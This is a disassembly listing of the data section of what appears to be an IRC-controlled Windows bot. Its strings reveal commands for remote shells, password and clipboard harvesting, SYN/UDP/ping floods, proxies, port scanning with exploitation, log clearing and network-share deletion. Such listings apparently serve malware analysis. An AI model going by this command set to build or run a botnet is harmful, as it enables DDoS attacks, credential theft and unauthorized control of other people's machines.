aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EE72+1C41o
align 4
aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EE72+1C2Ao
align 4
aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EE72+1C13o
align 4
aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EE72+1BFCo
aCom_del db 'com.del',0 ; DATA XREF: sub_40EE72+1BE5o
aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EE72+1BCEo
align 10h
aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EE72+1BB7o
align 4
aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EE72+1BA0o
align 4
aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EE72+1B89o
aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o
align 4
aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EE72+1B5Bo
align 10h
aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EE72+1B44o
aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EE72+1B2Do
align 10h
aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EE72+1B16o
align 10h
aCom_o db 'com.o',0 ; DATA XREF: sub_40EE72+1AFFo
align 4
aCom_open db 'com.open',0 ; DATA XREF: sub_40EE72+1AE8o
align 4
aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EE72+1AD1o
align 4
aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EE72+1ABAo
align 4
aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EE72+1AA3o
align 4
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EE72+1A8Co
align 4
aClone_q db 'clone.q',0 ; DATA XREF: sub_40EE72+1A75o
aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EE72+1A5Eo
align 4
aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EE72+1A47o
align 4
aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EE72+1A30o
align 4
aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EE72+1A19o
align 4
aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EE72+1A02o
aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40EE72+19EBo
align 4
aIrc_part db 'irc.part',0 ; DATA XREF: sub_40EE72+19D4o
align 4
aIrc_j db 'irc.j',0 ; DATA XREF: sub_40EE72+19BDo
align 10h
aIrc_join db 'irc.join',0 ; DATA XREF: sub_40EE72+19A6o
align 4
aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EE72+198Fo
align 4
aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EE72+1978o
align 10h
aSa db 'sa',0 ; DATA XREF: sub_40EE72+1952o
align 4
aAsc db 'asc',0 ; DATA XREF: sub_40EE72+193Do
aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EE72+1928o
align 10h
aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EE72+1913o
align 10h
aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EE72+18FEo
align 10h
aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EE72+18E9o
align 10h
aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EE72+18D4o
align 10h
aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EE72+18BFo
aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EE72+18AAo
align 10h
aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o
align 4
aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EE72+1880o
align 10h
aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EE72+186Bo
align 10h
aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EE72+1856o
align 4
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EE72+1841o
align 4
aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EE72+182Co
align 4
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EE72+1817o
align 4
aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EE72+1802o
align 10h
aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EE72+17EDo
dword_43251C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+17DDo
dd 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_40EE72+17A9o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_40EE72+179Co
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EE72+177Ao
align 4
aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EE72+1761o
aCmd db '[CMD]',0 ; DATA XREF: sub_40EE72+1756o
align 4
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EE72+1751o
align 4
aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EE72+1738o
align 4
aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EE72+1723o
align 4
aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EE72+170Eo
aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EE72+16F9o
aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EE72+16E4o
align 4
aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EE72+16CFo
aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EE72+16BAo
align 4
aCom_up db 'com.up',0 ; DATA XREF: sub_40EE72+16A5o
align 4
aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EE72+1690o
align 4
aCom_key db 'com.key',0 ; DATA XREF: sub_40EE72+167Bo
aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EE72+1666o
aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EE72+1651o
align 4
aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EE72+163Co
align 10h
aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40EE72+1627o
aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40EE72+1612o
align 4
aCom_si db 'com.si',0 ; DATA XREF: sub_40EE72+15FDo
align 4
aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EE72+15E8o
unk_432648 db 2 ; DATA XREF: sub_40EE72+15DDo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 75h, 70h
db 65h ; e
db 72h, 73h, 79h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_432694 db 2 ; DATA XREF: sub_40EE72+156Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 75h, 70h
db 65h ; e
db 72h, 73h, 79h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EE72+14D8o
align 4
aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EE72+14C3o
align 4
aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EE72+14AEo
aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EE72+1499o
align 4
aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EE72+1484o
align 4
aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EE72+146Fo
align 4
aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EE72+145Ao
aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EE72+1445o
align 4
aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EE72+1430o
aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EE72+141Bo
align 4
aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EE72+1406o
align 4
dword_432754 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+13D2o
dd 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 4
dword_432788 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+13CBo
dd 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EE72+13B4o
align 10h
aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EE72+139Fo
align 4
aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EE72+138Ao
align 10h
aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EE72+1375o
align 4
aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EE72+1360o
align 4
aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EE72+134Bo
align 4
aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EE72+1336o
align 4
aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EE72+1321o
align 10h
aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EE72+130Co
align 10h
aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EE72+12F7o
align 4
aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EE72+12E2o
align 4
aRoot_st db 'root.st',0 ; DATA XREF: sub_40EE72+12CDo
aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EE72+12B8o
align 4
aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EE72+12ADo
align 4
aScan db 'Scan',0 ; DATA XREF: sub_40EE72+12A8o
align 4
aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EE72+128Fo
align 10h
dword_432860 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EE72+1284o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EE72+127Fo
align 4
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EE72+1266o
align 4
dword_432888 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EE72+125Bo
aClone db 'Clone',0 ; DATA XREF: sub_40EE72+1256o
align 10h
aClone_off db 'clone.off',0 ; DATA XREF: sub_40EE72+123Do
align 4
aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EE72+1228o
align 4
aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EE72+1213o
align 4
aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EE72+11FEo
aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o
align 4
dword_4328E8 dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+11DEo
aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EE72+11C0o
dword_432904 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o
dword_432910 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o
dword_43291C dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40EE72+1197o
dword_43292C dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co
dword_432938 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o
dword_432944 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+116Eo
dword_432954 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o
dword_432960 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo
dword_43296C dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+1145o
dword_43297C dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao
dword_432988 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o
dword_432994 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+111Co
dword_4329A0 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o
dword_4329B0 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EE72+110Co
aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o
align 4
dword_4329D4 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o
dword_4329E0 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EE72+10E3o
dword_4329EC dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40EE72+10CAo
dword_4329F4 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+10C2o
dword_432A00 dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o
dword_432A10 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EE72+109Co
aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo
align 4
dword_432A34 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EE72+105Co
aServer db 'Server',0 ; DATA XREF: sub_40EE72+1057o
; sub_40EE72+1097o ...
align 4
aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo
align 10h
aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EE72+1029o
aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EE72+1014o
aLd_off db 'ld.off',0 ; DATA XREF: sub_40EE72+FFFo
align 4
aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EE72+FEAo
align 4
aLd_on db 'ld.on',0 ; DATA XREF: sub_40EE72+FD5o
align 4
aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EE72+FC0o
aVer db 'ver',0 ; DATA XREF: sub_40EE72+FABo
aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EE72+F96o
aLo db 'lo',0 ; DATA XREF: sub_40EE72+F81o
align 4
aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EE72+F6Co
align 4
aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EE72+F57o
align 10h
aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EE72+F42o
aRn db 'rn',0 ; DATA XREF: sub_40EE72+F2Do
align 4
aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EE72+F15o
a63 db '63',0 ; DATA XREF: sub_40EE72+DEEo
align 4
asc_432AEC: ; DATA XREF: sub_40EE72+DC6o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_40EE72+D89o
align 4
aServer_0 db '$server',0 ; DATA XREF: sub_40EE72+D7Eo
aRndnick db '$rndnick',0 ; DATA XREF: sub_40EE72+D6Do
align 4
aChan db '$chan',0 ; DATA XREF: sub_40EE72+D51o
align 4
aUser_2 db '$user',0 ; DATA XREF: sub_40EE72+D40o
align 4
aMe_0 db '$me',0 ; DATA XREF: sub_40EE72+D2Eo
aD db '$%d',0 ; DATA XREF: sub_40EE72+CC0o
aD_0 db '$%d-',0 ; DATA XREF: sub_40EE72+C05o
align 4
aC_0: ; DATA XREF: sub_40EE72+B19o
unicode 0, <c>,0
dword_432B30 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+AE4o
dd 2BBBB02h
aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0
dword_432B70 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+AD6o
dd 2BBBB02h
aChatAlreadyAct db ' Chat already active with user: %s.',0
align 10h
dword_432BB0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+AC8o
dd 2BBBB02h
aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0
dword_432BF4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+A59o
dd 2BBBB02h
aChatFromUserS_ db ' Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_40EE72+9BFo
align 4
dword_432C2C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+99Co
dd 2BBBB02h
aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_432C7C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+984o
; sub_40EE72+4ABCo
dd 2BBBB02h
aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0
dword_432CC4 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_40EE72+973o
dd 0A0Dh
dword_432CDC dd 4E495001h, 47h ; DATA XREF: sub_40EE72+93Fo
aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o
align 10h
dword_432D00 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_40EE72+8DCo
dd 0D017325h, 0Ah
dword_432D1C dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EE72+8ABo
dword_432D28 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+791o
dd 2BBBB02h
aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0 db 'SEND',0 ; DATA XREF: sub_40EE72+6E8o
align 4
dword_432D6C dd 43434401h, 0 ; DATA XREF: sub_40EE72+6CAo
dword_432D74 dd 323333h ; DATA XREF: sub_40EE72+651o
; sub_40EE72+B4Fo ...
dword_432D78 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5D2o
dd 2BBBB02h
aUserSLoggedOut db ' User: %s logged out.',0
align 4
dword_432DA8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5ABo
dd 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_40EE72+574o
aPart db 'PART',0 ; DATA XREF: sub_40EE72+526o
; sub_40EE72+5EFo
align 4
aSS_0 db ':%s%s',0 ; DATA XREF: sub_40EE72+4FEo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_40EE72+3D0o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o
; sub_40EE72+613o
dword_432E04 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+355o
; sub_40EE72+5FF4o ...
dd 2BBBB02h
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: sub_40EE72+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+28Do
; sub_40EE72+4EB7o ...
align 4
a433 db '433',0 ; DATA XREF: sub_40EE72+262o
a@: ; DATA XREF: sub_40EE72+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_40EE72+22Ao
a005 db '005',0 ; DATA XREF: sub_40EE72+215o
a001 db '001',0 ; DATA XREF: sub_40EE72+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o
; sub_40EE72+3B7o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_40EE72+1A9o
align 10h
asc_432E80: ; DATA XREF: sub_40EE72+19Ao
; sub_40EE72+60FBo
unicode 0, <!>,0
asc_432E84 db ' :',0 ; DATA XREF: sub_40EE72+86o
; sub_40EE72:loc_40FA19o
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41518A+120o
align 4
unk_432E94 db 2 ; DATA XREF: sub_41533B:loc_4153C2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessListFai db 'Process list failed.',0
align 4
unk_432ECC db 2 ; DATA XREF: sub_41533B+80o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessListCom db 'Process list completed.',0
unk_432F04 db 2 ; DATA XREF: sub_41533B+19o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aListingProcess db 'Listing processes:',0
align 4
dword_432F38 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: ___:00415669o
dd 2029671Fh, 2BBBB02h
aUserLoggedOutS db ' User logged out: <%s@%s>.',0
dword_432F70 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: ___:00415642o
dd 2029671Fh, 2BBBB02h
aErrorSessionru db ' Error: SessionRun(): <%d>.',0
align 4
dword_432FAC dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: ___:00415622o
dd 2029671Fh, 2BBBB02h
aUserLoggedInS@ db ' User logged in: <%s@%s>.',0
align 4
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o
align 4
dword_432FF8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: ___:00415561o
dd 2029671Fh, 2BBBB02h
aErrorGetpeerna db ' Error: getpeername(): <%d>.',0
align 4
dword_433034 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_415685:loc_4156CAo
dd 2029671Fh, 2BBBB02h
aProtocolString db ' Protocol string too long.',0
dword_43306C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4156DF+1Bo
dd 2029671Fh, 2BBBB02h, 6F4C2020h, 206E6967h, 656A6572h
dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h
dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h
dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h
dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h
dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h
dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh
dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h
dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h
dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h
dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h
dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h
dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h
dd 61657268h, 25203A64h, 2E64h, 7A026E02h, 201F6D1Fh, 6F6C7228h
dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h
dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h
dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h
dd 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
dd 2029671Fh, 2BBBB02h, 61462020h, 64656C69h, 206F7420h
dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h
dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h
dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h
dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 2 dup(0)
aConst db 'const',0
align 4
dd 0
dword_43327C dd 1 ; DATA XREF: sub_415D01+7o
off_433280 dd offset sub_415996 ; DATA XREF: sub_415D01+49r
aLetter db 'letter',0
align 10h
dd 2, 4159F4h, 706D6F63h, 2 dup(0)
dd 3, 415A41h, 6E756F63h, 797274h, 0
dd 4, 415ADFh, 736Fh, 2 dup(0)
dd 5, 415B54h
dword_4332D4 dd 69257325h, 0 ; DATA XREF: sub_415996+40o
; ___:00415AC0o ...
byte_4332DC db 50h ; DATA XREF: ___:00415A63o
; ___:00415A70r
db 43h, 2 dup(0)
dword_4332E0 dd 7C7325h ; DATA XREF: ___:00415B0Eo
; sub_415D01+39o
dword_4332E4 dd 5D73255Bh, 7Ch ; DATA XREF: ___:00415C18o
dword_4332EC dd 334B32h ; DATA XREF: ___:00415C08o
dword_4332F0 dd 5D64255Bh, 7325h ; DATA XREF: sub_415C5E+3Ao
dword_4332F8 dd 5D4D5Bh ; DATA XREF: sub_415C5E+2Co
; sub_415C5E+57o
unk_4332FC db 2 ; DATA XREF: sub_415D6A+92o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0
db 2
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 10h
off_433370 dd offset dword_4333A8 ; DATA XREF: sub_415F88+1B3o
; sub_4162AC+17Ao
align 8
dd offset dword_4333A0
align 10h
off_433380 dd offset dword_43339C ; DATA XREF: sub_4162AC+1E3o
dd offset dword_433398
dd offset dword_433394
dd offset dword_433390
dword_433390 dd 5C3A44h ; DATA XREF: sub_415F88+217o
; ___:0043338Co
dword_433394 dd 2444h ; DATA XREF: ___:00433388o
dword_433398 dd 5C3A43h ; DATA XREF: ___:00433384o
dword_43339C dd 2443h ; DATA XREF: ___:off_433380o
dword_4333A0 dd 494D4441h, 244Eh ; DATA XREF: ___:00433378o
dword_4333A8 dd 24435049h, 0 ; DATA XREF: ___:off_433370o
unk_4333B0 db 2 ; DATA XREF: sub_415F88+2E5o
; sub_4162AC+2DBo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
unk_4333F0 db 2 ; DATA XREF: sub_415F88+2CFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 4
unk_433428 db 2 ; DATA XREF: sub_415F88:loc_4161EAo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 4
unk_433464 db 2 ; DATA XREF: sub_415F88+25Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
